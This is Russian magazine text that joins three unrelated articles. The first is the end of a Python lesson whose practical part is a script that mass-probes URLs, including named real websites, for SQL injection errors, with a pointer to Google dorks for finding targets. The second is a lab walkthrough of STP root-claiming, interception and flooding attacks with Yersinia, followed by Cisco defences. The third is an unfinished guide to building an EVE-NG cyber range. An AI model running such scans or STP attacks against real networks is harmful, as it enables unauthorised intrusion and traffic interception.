   с = umn(a, b)

print(c)

Иног да надо задать один из парамет ров как необя затель ный, уста новив
для него зна чение по умол чанию.

  def umn(a, b=10):
       c = a * b
    return c

Те перь если ты вызовешь фун кцию и не передашь ей вто рой аргу мент, то она
прос то будет счи тать его рав ным десяти, то есть будет умно жать любое
передан ное чис ло на десять.

с=umn(5)
print(c)

Нес мотря на то что параметр  в дан ном слу чае равен по умол- 
чанию 10 и необя зате лен для переда чи в качес тве вто рого аргу мен та, ты
по-преж нему можешь переда вать вто рой аргу мент, если это будет нуж но,
и тог да в качес тве  будет исполь зовано не , а передан ное зна чение.

b

b 10

 с=umn(5, b=20)
print(c)

Внут ри прог раммы мы можем вызывать соз данную нами фун кцию сколь ко
угод но раз.

Да вай соз дадим прог рамму, которая будет счи тать при бав ку к зар пла те
за каж дую уяз вимость, которую хакер нашел на работе. У каж дого хакера
будет своя зар пла та, в зависи мос ти от его ран га, но начис ление при бав ки
для всех работа ет по прин ципу «+2% к базовой зар пла те за уяз вимость, если
таких уяз вимос тей най дено боль ше чем три».

Сде лаем фун кцию, которая при нима ет в качес тве аргу мен тов раз мер зар- 
пла ты сот рудни ка и количес тво най ден ных уяз вимос тей. Для округле ния
резуль тата исполь зуем фун кцию , которая округлит при бав ку
до целого чис ла.

round()

  def pribavka(zarplata, bugs):
     k = 0
      if bugs > 3:

               k = round((bugs - 3) * 0.02 * zarplata)
    return k

  a = int(input('Введите зарплату сотрудника: '))
  b = int(input('Введите количество найденных им уязвимостей за месяц: 

'))
   c = pribavka(a, b)

  print('В этом месяце прибавка к зарплате составит: ' + str(c))

Ес ли фун кция дол жна воз вра щать боль ше одно го зна чения, то мож но
перечис лить их через запятую.

 def myfunc(x):
       a = x + 1
       b = x * 2
     return a, b

Фун кция будет воз вра щать спи сок, но мы можем сра зу прис воить воз вра- 
щаемые зна чения каким-нибудь перемен ным:

   plusone, sum = myfunc(5)

Внут ри фун кций впол не мож но исполь зовать перемен ные, которые встре- 
чались в коде прог раммы до вызова фун кции. Но если внут ри кода фун кции
задать перемен ную с таким же име нем, то эта перемен ная авто мати чес ки
ста нет локаль ной и все даль нейшие изме нения будут про исхо дить с ней толь- 
ко в пре делах фун кции.

По ясню на при мере:

  def boom(a, b):
     z = 15
         c = a * b * z
    return c

  z = 1
   c = boom(15, 20)

print(z)

В резуль тате выпол нения прог раммы ты уви дишь еди ницу. Почему? Внут ри
кода фун кции мы прис воили перемен ной  зна чение 15, и она ста ла локаль- 
ной, и все изме нения с ней будут про исхо дить внут ри фун кции, тог да как в
основной прог рамме ее зна чение будет по-преж нему рав но еди нице.

z

Это нем ного труд но понять, но на самом деле удоб но. Если ты пишешь
нес коль ко похожих фун кций, то впол не можешь исполь зовать внут ри них оди- 
нако вые наз вания локаль ных перемен ных, не опа саясь, что они будут вли ять
как-то друг на дру га.

Пе ремен ные, объ явленные вне фун кций, называ ются гло баль ными. Если
ты хочешь изнутри фун кции изме нить одну из них, то объ яви ее внут ри фун- 
кции, исполь зовав клю чевое сло во .global

 def addfive(num):
    global a
     a += num

  a = 5
addfive(3)
print(a)

Эта прог рамма напеча тает 8. Обра ти вни мание, что мы ничего не воз вра- 
щали через , а прос то изме нили гло баль ную перемен ную. Кста ти, фун- 
кция, в которой ничего не воз вра щает ся через , будет воз вра щать
зна чение .

return
return

None

  a = 5
print(addfive(3))

На экра не выведет ся сло во . Это быва ет полез но, если фун кция воз вра- 
щает что-то толь ко при выпол нении каких-то усло вий, а если они не выпол- 
нены, то выпол нение не доходит до . Тог да мож но про верить, не вер- 
нула ли она .

None

return
None

 def isoneortwo(num):
   if(num==1):

        return 'Один'
   if(num==2):

        return 'Два'

print(isoneortwo(1))
print(isoneortwo(2))
print(isoneortwo(3))

Эта фун кция про веря ет, рав но ли зна чение еди нице или двой ке, и если
не рав но, то вер нет . Это мож но даль ше про верить при помощи :None if

   if isoneortwo(3) is None:
   print("Не 1 и не 2!")

Итак, мы научи лись соз давать фун кции, вызывать их и воз вра щать из них
парамет ры, а так же исполь зовать внут ри фун кций гло баль ные перемен ные.
С это го момен та мы уже можем брать ся за отно ситель но слож ные при меры!

ÏÐÀÊÒÈÊÀ: ÏÐÎÂÅÐÊÀ SQL-ÓßÇÂÈÌÎÑÒÅÉ

На этот раз мы соз дадим скрипт, который будет искать SQL-уяз вимос ти
по раз ным URL. Заранее соз дадим файл , в каж дой строч ке которо- 
го будут адре са сай тов, содер жащие GET-парамет ры. Нап ример:

urls.txt

http://www.taanilinna.com/index.php?id=325
https://www.925jewellery.co.uk/productlist.php?Group=3&pr=0
http://www.isbtweb.org/index.php?id=1493

На пишем скрипт, который получа ет спи сок подоб ных URL из нашего фай ла
и добав ляет в каж дый из GET-парамет ров знак кавыч ки, пыта ясь выз вать
ошиб ки SQL баз дан ных.

WARNING

Вся информа ция пре дос тавле на исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не несут ответс твен ности за любой воз можный
вред, при чинен ный с исполь зовани ем при веден- 
ного исходно го кода.

    import re, requests, os, time

# Список регулярных выражений, свидетельствующих, что на 
веб-странице есть SQL-уязвимость

  sql_errors = {
      

 
"MySQL": (r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"MySQL 

Query fail.*", r"SQL syntax.*MariaDB server"),
      "PostgreSQL": (r"PostgreSQL.*ERROR", r"Warning.*\Wpg_.*",
r"Warning.*PostgreSQL"),
     

   
 

 

"Microsoft SQL Server": (r"OLE DB.* SQL Server", r"(\W|\A)SQL 
Server.*Driver", r"Warning.*odbc_.*", r"Warning.*mssql_", r"Msg \d+, 
Level \d+, State \d+", r"Unclosed quotation mark after the character 
string", r"Microsoft OLE DB Provider for ODBC Drivers"),
     

  
"Microsoft Access": (r"Microsoft Access Driver", r"Access 

Database Engine", r"Microsoft JET Database Engine", r".*Syntax error.
*query expression"),
      

 
"Oracle": (r"\bORA-[0-9][0-9][0-9][0-9]", r"Oracle error",

r"Warning.*oci_.*", "Microsoft OLE DB Provider for Oracle"),
     "IBM DB2": (r"CLI Driver.*DB2", r"DB2 SQL error"),
     "SQLite": (r"SQLite/JDBCDriver", r"System.Data.SQLite.
SQLiteException"),
     "Informix": (r"Warning.*ibase_.*", r"com.informix.jdbc"),
     "Sybase": (r"Warning.*sybase.*", r"Sybase message")
}

# Функция, которая получает HTML-код веб-страницы и проверяет его на 
наличие ключевых слов,
# свидетельствующих о наличии SQL-инъекции, возвращает две 
переменные — True/False и тип уязвимой базы данных

 def checksql(html):
       for db, errors in sql_errors.items():

          for error in errors:
            if re.compile(error).search(html):

                 return True, db
     return False, None

# Открываем файл, откуда будем брать URL, которые нужно проверить
    f = open('urls.txt', 'r', encoding='UTF-8')

# Открываем файл, куда будем записывать найденные уязвимые URL
    f2 = open('good.txt', 'w', encoding='UTF-8')

# Функция для тестирования URL на уязвимость: подставляем одинарную 
кавычку в GET-параметры

 def checkcheck(url):
   # Заменяем в URL значок & между параметрами, добавляя перед ним 
одинарную кавычку
      x = url.replace("&", "'&")
   # Очищаем URL от пробелов по обеим сторонам
     ur = x.strip()
   # Если вначале нет http, то добавляем его
      if not(ur[0:4] == 'http'):

           ur = 'http://' + ur
     print('Проверяю: ' + ur)
   try:
       # Получаем HTML-код по URL

           s = requests.get(ur + "'")
         h = s.text

       # Проверяем на уязвимости
          a, b = checksql(h)

       if(a):
             print('Уязвим для SQL-инъекции: ' + ur)

           f2.write(f'{ur} - {str(b)}\n')
       else:

             print('Уязвимость не найдена: ' + ur)
   except:

         print('Ошибка при проверке: ' + ur)
       pass

# Последовательно пробуем URL из файла urls.txt
   for site in f:

   checkcheck(site)

f.close()
f2.close()

В фай ле goods.txt ты получишь спи сок уяз вимых сай тов (или ничего, если
таковых не най дет ся).

Где взять спи сок URL для про вер ки? Для поис ка подоб ных URL час то
исполь зуют .Google dorks

Домашнее задание

1. Усо вер шенс твуй прог рамму, выводя щую лис тинг катало гов, что бы она
отме чала вло жен ные пап ки отсту пами — так, что бы получи лось дерево
фай лов.

2. На пиши прог рамму, которая будет откры вать задан ный файл, при помощи
регуляр ного выраже ния извле кать из него все адре са элек трон ной поч ты
и сох ранять в дру гой файл, каж дый email — на отдель ной стро ке.

3. Поп робуй самос тоятель но написать регуляр ное выраже ние, которое
будет находить все гипер ссыл ки в коде веб-стра ницы. Затем поищи
готовый вари ант такой регуляр ки в интерне те и поп робуй разоб рать ся
в ее устрой стве.

4. Сде лай фун кцию из прог раммы, которая у тебя получи лась при выпол- 
нении задания 2 (на вхо де — путь к фай лу, на выходе — спи сок адре сов).
Затем возь ми код от задания 1 и сде лай так, что бы прог рамма обхо дила
катало ги и иска ла элек трон ные адре са во всех встре чен ных тек сто вых
фай лах.

https://www.exploit-db.com/google-hacking-database
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Про токол STP был при думан аж в 1985 году, но активно
исполь зует ся до сих пор и нас читыва ет нес коль ко модифи- 
каций. Без при мене ния про токо ла STP не обхо дит ся прак- 
тичес ки ни одна сеть. Исклю чение сос тавля ют раз ве что сов-
ремен ные сети ЦОД с раз личны ми про токо лами TRILL
или тран спортны ми механиз мами VXLAN, но это сов сем дру- 
гая исто рия. STP име ет свои недос татки и осо бен ности, и в
этой статье мы пос мотрим, как ими мож но вос поль зовать ся.
Для начала крат ко опи шем тех ничес кую сос тавля ющую STP.

ÊÀÊ ÓÑÒÐÎÅÍ STP

Клас сичес кие ком мутато ры работа ют на каналь ном уров не (Data Link Layer)
модели OSI. На уров не L2 ком мутато ры работа ют с кад рами (frame)
для переда чи дан ных. Отпра витель добав ляет к ори гиналь ным дан ным
заголов ки кад ра, в которые вклю чен MAC-адрес источни ка и MAC-адрес
получа теля. На осно ве этих адре сов при меня ется логика переда чи кад ра.

При получе нии кад ра ком мутатор добав ляет в свою таб лицу MAC-адре сов
адрес источни ка и интерфейс, на котором этот кадр получен. Таким обра зом
ком мутатор запол няет свою таб лицу и, осно выва ясь на ней, сра зу же при- 
нима ет решение, на какой интерфейс отпра вить кадр. Если у ком мутато ра нет
в таб лице нуж ного адре са, кадр будет отправ лен во все пор ты, кро ме того,
с которо го кадр был получен, в надеж де получить ответ от при нима юще го
устрой ства. Такой тип тра фика называ ется Unknown unicast ooding — раз- 
новид ность брод каста.

Брод каст — обыч ная ситу ация для сетей, нап ример ког да отправ ляет ся
ARP request. ARP request име ет адрес получа теля в кад ре 

. Все ком мутато ры будут рас сылать дан ный кадр на все свои пор ты (на все
пор ты в пре делах VLAN).

FF:FF:FF:FF:FF:
FF

Enterprise-сети стро ятся с исполь зовани ем резер вирова ния обо рудо- 
вания, добав ления избы точ ности на уров не лин ков и так далее. Так как в
ethernet-кад рах нет поля TTL, которое исполь зует ся в IP-пакетах для допол- 
нитель ной защиты от петель, то каж дый из них может переда вать ся по сети
бес конеч но, наг ружая обо рудо вание и перепол няя CAM-таб лицы.

Ши роко веща тель ный шторм

Для пре дот вра щения таких ситу аций при меня ется про токол STP, основная
задача которо го — изба вить сеть от петель.

INFO

Су щес тву ет нес коль ко вер сий про токо ла STP.
В дан ной статье мы рас смат рива ем 802.1D.

STP работа ет по сле дующе му прин ципу. В домене L2 выбира ется кор невой
ком мутатор — root bridge. Выбор осно выва ется на при ори тете (по умол- 
чанию 32768). Чем мень ше при ори тет, тем луч ше. У всех ком мутато ров зна- 
чение сто ит по умол чанию, выбор про исхо дит по связ ке при ори тет + MAC.
Ком мутатор, у которо го зна чение MAC будет мень ше (более ста рый ком- 
мутатор), ста нет root bridge, что пов лияет на про изво дитель ность сети.

Да лее каж дый non-root bridge ком мутатор выбира ет один порт, ведущий
к root bridge, пор ты, исполь зуемые для переда чи тра фика, и пор ты, которые
дол жны быть вык лючены, что бы избе жать появ ления петель ком мутации.

Ре зуль тат работы про токо ла STP для защиты от петель

По умол чанию в про цес се выбора кор невого ком мутато ра в про токо ле STP
нет механиз мов защиты. Так же в нем нет встро енных механиз мов аутен- 
тифика ции, паролей или про верок источни ка. STP доверя ет всем.

При появ лении в сети нового ком мутато ра, при ори тет которо го будет
ниже при ори тета текуще го кор невого ком мутато ра, выбира ется новое кор- 
невое устрой ство. Манипу лируя такими сце нари ями, мы можем изме нить
опти маль ные пути тра фика и даже поп робовать их перех ватить, зас памить
сеть спе циаль ными сооб щени ями STP — TCN, что при ведет к очи щению таб- 
лиц ком мутации каж дого ком мутато ра и вызовет потери, сни жение про изво- 
дитель нос ти сети и дру гие проб лемы.

Для при мене ния этой ата ки дос таточ но под клю чить к сети компь ютер
с Linux и фрей мвор ком Yersinia, который поз волит запус тить STP на нашем
хос те, выдав себя за ком мутатор. Это поз волит нам манипу лиро вать нашим
L2-сег ментом.

При мене ние ата ки и изме нения в тополо гии STP при вклю чении компь -
юте ра с фрей мвор ком Yersinia

Этот фрей мворк пре дос тавля ет нам боль шой выбор атак на STP: флуд TCN,
перех ват ролей ком мутато ров.

ÏÐÀÊÒÈÊÀ

Пе рей дем к прос тому стен ду для экспе римен тов.

То поло гия стен да в вир туаль ной лабора тории

В нашем при мере исполь зует ся часть стан дар тной тополо гии, чаще все го
при меня емой в кор поратив ном сег менте. SW1 выс тупа ет в качес тве root
bridge, SW2 и SW3 — non-root bridge ком мутато ры. Пор ты SW1 0/0 и 0/1,
SW2 0/1 и 0/3, SW3 0/0 и 0/2 исполь зуют ся для переда чи тра фика,
0/0 и 0/1 на SW2 и SW3 заб локиро ваны во избе жание петель.

Тра фик идет по пути SW2 → SW1 → SW3. Далее мы под клю чаем нашу Linux-
машину к двум access-ком мутато рам SW2 и SW3 и видим, что нам при ходят
сооб щения STP.

Дамп тра фика в Wireshark

Эти сооб щения озна чают, что STP на ком мутато рах запущен и не заб локиро- 
ван на под клю чен ных к нам пор тах. Объ еди няем наши интерфей сы в bridge
для того, что бы тра фик про ходил через наше устрой ство, запус каем фрей- 
мворк Yersinia и видим, что нам дос тупен STP на обо их интерфей сах.

Ин форма ция о получен ных STP BPDU

За пус каем ата ку и выбира ем тип ата ки Claiming Root Role, озна чающий, что
мы нач нем анон сировать себя в качес тве ком мутато ра с мень шим при ори- 
тетом, что зас тавит перес тро ить ся дерево STP.

Вы бира ем тип ата ки Claiming Root Role

Как и ожи далось, мы ста ли кор невым ком мутато ром для нашего сег мента
сети и теперь смо жем уви деть тра фик, который ранее шел через SW1:

SW2-LINUX-SW3

SW1#show spanning-tree 

VLAN0001 
 Spanning tree enabled protocol ieee
 Root ID    Priority    8193 
            Address     aabb.cc00.0f00 
            Cost        300 
            Port        2 (Ethernet0/1) 
            Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec 

 Bridge ID  Priority    8193   (priority 8192 sys-id-ext 1) 
            Address     aabb.cc00.1000 
            Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec 
            Aging Time  15  sec 

Interface           Role Sts Cost      Prio.Nbr Type 
------------------- ---- --- --------- -------- ---------------------
----------- 
Et0/0               Altn BLK 100       128.1    Shr 
Et0/1               Root FWD 100       128.2    Shr 

SW2

SW2#show spanning-tree 

VLAN0001 
 Spanning tree enabled protocol ieee
 Root ID    Priority    8193 
            Address     aabb.cc00.0f00 
            Cost        200 
            Port        3 (Ethernet0/2) 
            Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec 

 Bridge ID  Priority    32769  (priority 32768 sys-id-ext 1) 
            Address     aabb.cc00.2000 
            Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec 
            Aging Time  15  sec 

Interface           Role Sts Cost      Prio.Nbr Type 
------------------- ---- --- --------- -------- ---------------------
----------- 
Et0/0               Desg FWD 100       128.1    Shr 
Et0/1               Desg FWD 100       128.2    Shr 
Et0/2               Root FWD 100       128.3    Shr 
Et0/3               Desg FWD 100       128.4    Shr 

SW3#show spanning-tree 

VLAN0001 
 Spanning tree enabled protocol ieee
 Root ID    Priority    8193 
            Address     aabb.cc00.0f00 
            Cost        200 
            Port        4 (Ethernet0/3) 
            Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec 

 Bridge ID  Priority    32769  (priority 32768 sys-id-ext 1) 
            Address     aabb.cc00.3000 
            Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec 
            Aging Time  15  sec 

Interface           Role Sts Cost      Prio.Nbr Type 
------------------- ---- --- --------- -------- ---------------------
----------- 
Et0/0               Desg FWD 100       128.1    Shr 
Et0/1               Altn BLK 100       128.2    Shr 
Et0/2               Desg FWD 100       128.3    Shr 
Et0/3               Root FWD 100       128.4    Shr 

Для про вер ки поп робу ем запус тить пинг:

R4#ping 192.168.0.5 
Type escape sequence to abort. 
Sending 5, 100-byte ICMP Echos to 192.168.0.5, timeout is 2 seconds: 
.!!!! 

Мы видим, что все пакеты ICMP прош ли через наш компь ютер.

Па кеты ICMP прош ли через наш компь ютер

INFO

ICMP тут исполь зует ся толь ко для наг ляднос ти,
таким обра зом мож но перех ватить любой тра фик,
изме нив струк туру, пос тро енную STP.

Рас смот рим так же дру гие типы атак на STP, которые поз воля ет выпол нять
Yersinia.

Ти пы атак фрей мвор ка Yersinia

 — мы еди нож ды отпра вим BPDU, который зас тавит
ком мутато ры в нашем L2-сег менте перес тро ить дерево и вер нуть ся
к исходной схе ме, так как BPDU с нашей машины боль ше не отправ ляет ся.

Sending conf BPDU

Root-bridge с интерва лом в две секун ды отправ ляет conguration BDPU,
в котором ука заны основные парамет ры: нап ример, при ори тет текуще го ком- 
мутато ра, его MAC, MAC интерфей са, с которо го BPDU был отправ лен, све- 
дения о том, нуж но ли запус тить механизм FLUSH для очис тки CAM-таб лиц.
Так как в дан ном сце нарии мы пытались выдать себя за root bridge, мы
отправ ляем conguration BPDU с при ори тетом, рав ным при ори тету текуще го
RB, но с мень шим MAC.

 зас тавит root bridge запус тить механизм очис тки
CAM-таб лиц от MAC-адре сов, тра фик с которых не при ходит более 15 секунд.

Sending TCN BPDU

По умол чанию вре мя, в течение которо го MAC-адрес хра нит ся в таб лице,
рав но 300 секун дам. При изме нении сос тояния пор та (нап ример, UP/DOWN)
учас тву ющий в STP ком мутатор дол жен отпра вить слу жеб ный фрейм TCN
(topology change notication) в сто рону root bridge для уве дом ления его о том,
что про изош ло изме нение в сети. Осталь ные ком мутато ры не зна ют, какие
имен но MAC-адре са находи лись за этим пор том кон крет ного ком мутато ра,
в резуль тате чего запус кает ся про цесс ush CAM-таб лицы. Все адре са,
которые не были изу чены в течение 15 секунд, будут уда лены. Такого рода
ата ка поз воля ет нам уве личить наг рузку на сеть и CPU ком мутато ров. TCN
отправ ляет ся еди нож ды.

Ïðè ìåð ñáðî ñà òàé ìåðà CAM-òàá ëèöû ïðè ïîëó÷å íèè TC BPDU

SW1#show spanning-tree 

VLAN0001 
 Spanning tree enabled protocol ieee
 Root ID    Priority    8193 
            Address     aabb.cc00.1000 
            This bridge is the root 
            Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec 

 Bridge ID  Priority    8193   (priority 8192 sys-id-ext 1) 
            Address     aabb.cc00.1000 
            Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec 
            Aging Time  300 sec 

Пос ле отправ ки TCN BPDU:

SW1#show spanning-tree 

VLAN0001 
 Spanning tree enabled protocol ieee
 Root ID    Priority    8193 
            Address     aabb.cc00.1000 
            This bridge is the root 
            Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec 

 Bridge ID  Priority    8193   (priority 8192 sys-id-ext 1) 
            Address     aabb.cc00.1000 
            Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec 
            Aging Time  15  sec 

 дела ют все выше опи сан- 
ное, но в фор мате DoS. То есть при отправ ке conguration BPDU и topology
change BPDU сеть начина ет «штор мить», CPU ком мутато ра силь но заг ружа- 
ется.

Sending conf BPDUs è Sending TCN BPDU’s

Ñ÷åò ÷èê ïîëó÷åí íûõ BPDU

SW2#show spanning-tree interface ethernet 0/2 detail 
Port 3 (Ethernet0/2) of VLAN0001 is designated forwarding 
  Port path cost 100, Port priority 128, Port Identifier 128.3. 
  Designated root has priority 8193, address aabb.cc00.1000 
  Designated bridge has priority 32769, address aabb.cc00.2000 
  Designated port id is 128.3, designated path cost 100   Hello is 
pending, Topology change is set 
  Timers: message age 0, forward delay 0, hold 0 
  Number of transitions to forwarding state: 1 
  Link type is shared by default 
  BPDU: sent 2330, received 6650463 

 — ата ки, ана- 
логич ные нашему при меру: изме няя при ори тет или MAC, мы можем перес- 
тра ивать текущее дерево STP.

Claiming root, other role è claiming root role with MITM

ÇÀÙÈÒÀ

В про токо ле STP заложе ны механиз мы, которые поз воля ют пре сечь появ- 
ление новых устрой ств в качес тве root bridge, бло киро вать пор ты, на которые
при шел BPDU, либо вклю чать пол ную филь тра цию BPDU.

INFO

В дан ной статье мы рас смат рива ем прин ципы
и коман ды, при меня емые на обо рудо вании Cisco.

Root guard

При получе нии луч шего BPDU, чем нынеш ний, получа ющий этот BPDU
интерфейс будет переве ден в режим root-inconsistent.

SW2(config)#interface ethernet 0/2 
SW2(config-if)#spanning-tree guard root 

Сос тояние пор та при получе нии BPDU:

*Aug 1 13:58:03.304: %SPANTREE-2-ROOTGUARD_CONFIG_CHANGE: Root guard 
enabled on port Ethernet0/2. 
SW2#show spanning-tree interface ethernet 0/2 

Vlan                Role Sts Cost      Prio.Nbr Type 
------------------- ---- --- --------- -------- ---------------------
----------- 
VLAN0001            Desg BKN*100       128.3    Shr *ROOT_Inc 

Нес ложно догадать ся, что при исполь зовании этой фун кции ата ка с помощью
фрей мвор ка будет недос тупна.

BPDU guard

Поз воля ет огра ничи вать домен L2. При получе нии любого BPDU порт
перево дит ся в сос тояние err disable BPDU guard error.

SW2(config)#interface ethernet 0/2 
SW2(config-if)#spanning-tree bpduguard enable

Пос ле получе ния BDPU на пор те с фун кци ей BPDU guard:

*Aug 1 15:12:50.120: %SPANTREE-2-BLOCK_BPDUGUARD: Received BPDU on 
port Et0/2 with BPDU Guard enabled. Disabling port. 
SW2# 
*Aug 1 15:12:50.120: %PM-4-ERR_DISABLE: bpduguard error detected on 
Et0/2, putting Et0/2 in err-disable state 
*Aug 1 15:12:51.120: %LINEPROTO-5-UPDOWN: Line protocol on Interface 
Ethernet0/2, changed state to down 
*Aug 1 15:12:52.120: %LINK-3-UPDOWN: Interface Ethernet0/2, changed 
state to down 
SW2#show interfaces ethernet 0/2 
Ethernet0/2 is down, line protocol is down (err-disabled) 

BPDU filter

BPDU lter не отправ ляет и не получа ет BPDU на пор те. Ины ми сло вами, про- 
токол STP на этом интерфей се вык лючен.

SW2(config-if)#spanning-tree bpdufilter enable 

Нес ложно догадать ся, что при исполь зовании этих фун кций ата ки с при мене-
нием фрей мвор ка будут недос тупны.

ÂÛÂÎÄ

Вот так лег ко, не при бегая к слож ным схе мам, мож но перех ватывать тра фик
в сети. STP — дос таточ но прос той про токол с отсутс тву ющей по умол чанию
фун кци ей защиты. Мно гие пре неб рега ют уста нов кой защит ных механиз мов
в L2-домене, что может при вес ти к доволь но тяж ким пос ледс тви ям. Так
как STP избавля ет от петель и не зас тавля ет весь тра фик идти обя затель но
через RB, необ ходимо точ но опре делить ся с нап равле нием тра фика и век- 
тором ата ки.

mailto:k.alexey360@gmail.com
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При тес тирова нии средств безопас ности,
а так же при обу чении пер сонала сце нари-
ям атак и защиты сетевой инфраструк туры
не обой тись без средств вир туали зации.
Час то для это го изоб рета ют велоси пед,
соору жая жут кое наг ромож дение из вир- 
туаль ных машин и все воз можно го соф та.
Мы же пой дем иным путем: нас тро им плат- 
форму эму ляции на базе EVE-NG и соз- 
дадим на ее осно ве уни вер саль ный мас-
шта биру емый кибер полигон, поз воля ющий
отта чивать свои навыки сетеви кам
и безопас никам.

Идея поп робовать сов ремен ную плат форму эму ляции воз никла, ког да я наб-
людал за работой коман ды инже неров кибер безопас ности. Они час то
занима ются изу чени ем, раз верты вани ем, интегра цией и тес тирова нием раз- 
ных про дук тов. Вен доров и решений — огромное количес тво, но зна читель- 
ная их часть вра щает ся вок руг защиты одних и тех же клю чевых сис тем, некой
стан дар тной кор поратив ной инфраструк туры: рабочих стан ций, сер веров AD,
фай ловых шар, поч товых сер веров, веб-сер веров, сер веров баз дан ных. Так- 
же в любой инфраструк туре при сутс тву ет некая стан дар тная иерар хия групп
поль зовате лей, сетевая сег мента ция, набор ПО и сетевое обо рудо вание
в виде ком мутато ров, мар шру тиза торов, фай рво лов.

За дачи по интегра ции, как пра вило, тоже типич ные: нас тро ить авто риза- 
цию через AD/Radius, под ружить с поч той, рас катать аген тов, соб рать клас- 
тер, подать зер калиро ван ный тра фик, отправ лять ана лити кам логи или флоу.
Прак тика показы вает, что без стан дарти зиро ван ного под хода каж дый инже- 
нер со вре менем нагоро дит себе подоб ную инфраструк туру, и каж дый —
со сво им блек-дже ком. В резуль тате получа ется целый зоопарк по-раз ному
скон фигури рован ных вир туалок, на которых кру тит ся непонят но что. Прос то
взять и быс тро заюзать такие ВМ дру гой член коман ды, ско рее все го, не смо- 
жет.

По мимо раз бро сан ных на раз ных ESXi-хос тах «лич ных» ВМ, для тес тирова- 
ния фай рво лов, запус ка мал вари и про чих задач тре буют ся сег менти рован-
ные сети, поэто му в такой инфраструк туре порой встре чают ся еще и
порт-груп пы. Они необ ходимы толь ко для лабора тории, но по фак ту ходят
в интернет через про дак шен-инфраструк туру. Пос ле уволь нения инже нера
подоб ные вир туал ки прос то уби вают ся вмес те со всем «накоп ленным опы- 
том». Короче говоря, такой под ход казал ся мне сов сем не эффектив ным, тем
более в нем не исполь зуют ся некото рые фичи и гиб кость VMware. Я решил
стан дарти зиро вать про цесс, а заод но про тес тировать плат форму эму ляции.

ÇÀ×ÅÌ ÊÈÁÅÐÏÎËÈÃÎÍ ÈÍÆÅÍÅÐÀÌ?

Как ты, навер ное, уже зна ешь, кибер полигон — это некая вир туаль ная сре да,
нацелен ная на обу чение. В отли чие, ска жем, от клас сичес ких CTF-подоб ных
сорев нований, на кибер полиго не учат ся так же и защит ники. Помимо кибер- 
полиго нов, которые носят сорев нователь ный харак тер и дос туп к которым
бес плат ный, уже сущес тву ет целый класс недеше вых вен дор ских решений
с готовы ми сце нари ями атак и защиты, поз воля ющий эффектив но обу чать
как «синие» коман ды, так и «крас ные» — в обла ке по под писке или on-
premise. В нашем слу чае была необ ходима плат форма, поз воля ющая дос- 
тигать сле дующих целей:

эф фектив ное внут реннее/внеш нее обу чение инже неров;•
пол ноцен ный демос тенд для заказ чиков.•

ÂÛÁÎÐ ÏËÀÒÔÎÐÌÛ

Под наши нуж ды была выб рана плат форма EVE-NG Community Edition —
это форк извес тно го UNetLab, который боль ше не под держи вает ся. Дан ное
решение очень любят сетеви ки, и дей стви тель но есть за что. Ты толь ко 

 с клас терами и BGP!
пос- 

мотри на при меры сетевых тополо гий

То поло гия BGP

Од нако она соз дана не толь ко для сетеви ков: воз можнос ти ее исполь зования
прак тичес ки без гра нич ны, они зависят исклю читель но от фан тазии и име- 
ющих ся зна ний. Для работы нам тре бовал ся веб-интерфейс, а у кон курен тов
он при сутс тво вал на момент выбора толь ко в GNS3, да и то в бете. Обо всех
фичах EVE-NG, вклю чая вер сию Professional и Learning Center, в которых есть
Docker и под дер жка клас териза ции, ты можешь про читать на 

, я же рас ска жу о клю чевых воз можнос тях.
офи циаль ном

сай те
QEMU/KVM. В дан ной связ ке QEMU выс тупа ет в роли эму лято ра железа,
он дос таточ но гибок и может запус кать код, написан ный для одной архи- 
тек туры про цес сора, на дру гой (ARM на x86 или PPC на ARM). KVM же,
в свою оче редь, поз воля ет дос тигать высокой про изво дитель нос ти бла- 
года ря вир туали зации с аппа рат ной под дер жкой, такой как Intel VT-x
и AMD-V.

•

IOU/IOL и Dynamips. Под дер жка ста рень ких, но впол не рабочих ком мутато- 
ров и мар шру тиза торов Cisco.

•

Оп тимиза ция памяти  в ядре. При одновре мен ном исполь зовании
одно образных ВМ поз воля ет дедуп лициро вать память и тем самым
сущес твен но сни зить рас ход RAM.

• UKSM

Пол ноцен ный веб-интерфейс на HTML5.•
Мно гополь зователь ский режим для одновре мен ной работы раз личных
вир туаль ных лабора торий.

•

Вза имо дей ствие с «нас тоящей» сетью.•

ÓÑÒÀÍÎÂÊÀ

Мы раз верну ли «Еву» на железе (bare metal). Для такого типа уста нов ки
предъ явля ются сле дующие сис темные тре бова ния: ЦПУ — Intel Xeon CPU
supporting Intel® VT-x with Extended Page Tables (EPT), ОС — Ubuntu Server
16.04.4 LTS x64.

Все осталь ное зависит от пред полага емой наг рузки: тут чем боль ше, тем
луч ше, осо бен но это каса ется ОЗУ. Если тебя сму тила ста рая вер сия ОС, то
не пережи вай, . Замечу, что
Community-вер сия обновля ется не так час то, как Professional, в которой
для уста нов ки на железо тре бует ся уже 18.04 LTS. Если же ты весь такой
в обла ках, то имей в виду, что EVE-NG офи циаль но под держи вает GCP.

она будет под держи вать ся до 2024 года

INFO

Зна ешь ли ты, что в GCP (Azure, Яндексе) новый
поль зователь может 
в виде бес плат ных кре дитов для тес тирова ния
сер висов, нап ример для запус ка ВМ? И что,
помимо это го, в GCP есть «вытес няемые ВМ»?
Это такие вир туал ки, которые сто ят в 3–4 раза
дешев ле обыч ных, но живут мак симум 24 часа
или мень ше: если обла ку пот ребу ются ресур сы,
которые занима ет эта ВМ, оно ее грох нет.

по лучить 300 дол ларов

К сожале нию, полити ка Google изме нилась,
и бес плат ные кре диты нель зя тра тить на вытес- 
няемые ВМ, но, если вдруг ког да-нибудь тебе
пот ребу ется 128 RAM в обла ке и задеше во, ты
зна ешь, что делать! ;)

Мы же сей час с тобой рас смот рим вари ант быс тро го зна комс тва с плат- 
формой, раз вернув ее на ноут буке с VMware Workstation. Под держи вает ся
толь ко VMware, вклю чая Player и ESXi. Но в любом слу чае сле дует понимать,
что вло жен ная (nested) вир туали зация (это ког да вир туал ка работа ет внут ри
